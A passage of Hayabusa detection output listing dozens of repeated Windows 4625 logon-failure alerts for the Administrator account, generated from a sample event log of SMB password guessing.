NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dr2bvAue8mr5kagX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pXBds9GoXr6IZUfp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aLYuegjXO18lo342 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.367 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: To3MMEEvNXKNjKHT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N0HCToTmh3ESGBYt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.455 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nNvBueVo3ANNmSSN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.499 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mVWOoAG5ermGL2Gl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W7QYJUNPm5b4jprh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.590 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PHllwNJvpH3P97cp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tfT8GtafHGYMlkMf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nab7wtZfBVkcynsa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VHiijj7sT9nyqxii : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v06kkhqYNOyEHx2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.820 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WSTDX16YK5Zgkjxo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u6QWEyTrpndCagP0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.914 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7iCaXa5SR5IHJnQA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:04.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DNZhcPd1JaNFZMYG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LeOIg10KS60QplWz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.036 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: um3Nwo2doDbKJJvz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JuoqbUwc2Nth1xlH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.199 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WF8zKIbeboTLLkC6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kSyKc8igfuYLMekV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LHog0TdOci9CCKBa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R5ilFaQlemZUSNun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JOJnv9vFdqr2VSQC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rXaoVN7FvJ5rRDUF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kaFCT5QYFfmJpEC1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kOdVfL4XUTLp60tC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wFQSXjz0JTlkwpBu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.634 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sgAVlnENp6IzRRDr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JLkeKKFVP5vJjPtl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.751 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EqLXdGmr45vGpu3E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m7uTpMLqPgenJdRb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FQn7NqRzpGtjQdfv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8F8EZLHQtEWkeob1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5joxW81M9vcAfbJw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iMfmQF3xsaV5SQVZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.040 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQe9VL8eeco0SdPW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MnMbxQEuczrnMLKc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.137 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3DWOiTIp6JQLq9Vz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E1ORteg467kiFxmD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.216 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EoVhHZ2lkyAEx0w9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IMSqYaVVGR5v3bXr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.298 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hEEJ05nL0lyatWKL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SgrcS1NqwVJSEv31 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.395 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CCNTu1A6c6myngXd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YLx5Hv5GmdvsO9SE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VtS3KUkTVoAWGqbW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.512 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7DxfDEwc6ykrmddu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m8yKyocZwOY574pe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JfdmcsxnDHRxJYAA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: euxBOcdse8NjSzTd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dw7RZh5jKuRcM1xw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zIyozsYA1Mn27gl7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.786 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vhJopROjHZi6T8aF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QZ6XuZO6fIMg52tV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.870 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tvAYEepvDwz93ezW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.919 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Er95vLjet49OmSQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OKkMGZ5on5L26cip : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dp5dq3YYmmLxperL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: klkWqfYoNQQHRISX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q0EekPO3q6qRfq3i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gfG1x6sL4Aqlj7TK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: owSUehMmDEhijkfl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J3xBPT5WiuvmPZHe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gIufEPz8FBVd5yKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Blruxd110NvZjof : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0VsPitzItsjU3Y59 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HEq6vk4nTe3weSOP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.507 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lE8kvmcQtCmlsqtT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXmfjxrGC3liZ2oh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 72JLcUBrhOoXPLzD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.635 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sRoFpK2ZvBYy4jGM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9KReiI3k2WIKpxFq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.722 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wsfSzPbji6ARhU0k : IP Address: 192.168.198.149 : AuthPackage: 